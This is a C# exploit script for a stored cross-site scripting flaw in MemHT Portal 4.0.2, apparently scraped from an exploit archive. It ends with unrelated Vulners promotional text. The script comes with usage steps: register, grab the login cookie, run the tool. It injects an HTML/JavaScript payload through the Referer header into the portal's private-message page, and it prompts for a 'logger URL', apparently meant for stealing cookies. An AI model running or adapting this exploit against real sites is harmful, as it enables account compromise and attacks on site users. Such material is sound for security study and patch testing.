/**
* Stored XSS for MemHT Portal 4.0.2
*
* Manual:
* - Register on target site
* - Grab login cookie (login_user=id#loginHash#passwordHash)
* - Compile C# source and run it (xNet library is needed)
* - Enter target site
* - Enter `login_user` cookie value
*
* Copyright (c) 2015 Nuclear Software
*/
using System;
using xNet.Net;
namespace NuclearSoftware
{
public class Program
{
static void Main(string[] args)
{
string address, login_cookie, logger_address = "";
Console.WriteLine("Stored XSS for MemHT Portal 4.0.2\n");
Console.Write("Enter target URL (http://localhost/) or (http://localhost/portal/): ");
address = Console.ReadLine();
Console.Write("Enter login cookie (id#loginHash#passwordHash): ");
login_cookie = Console.ReadLine();
Console.Write("Enter logger URL (http://localhost/logger.php): ");
logger_address = Console.ReadLine();
using (var request = new HttpRequest())
{
request.UserAgent = HttpHelper.ChromeUserAgent();
request.Referer = "http://ya.ru</a></body><body onload=alert('Hacked')>";
request.Cookies = new CookieDictionary()
{
{ "login_user", login_cookie },
};
HttpResponse response = request.Get(address + "index.php?page=pvtmsg&op=newMessage");
string content = response.ToString();
if (!content.Contains("denied"))
{
Console.WriteLine("Logged in!");
Console.WriteLine("XSS succesfully injected!");
}
else
{
Console.WriteLine("Login failed!");
}
}
Console.ReadKey();
}
}
}
# 0day.today [2018-04-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation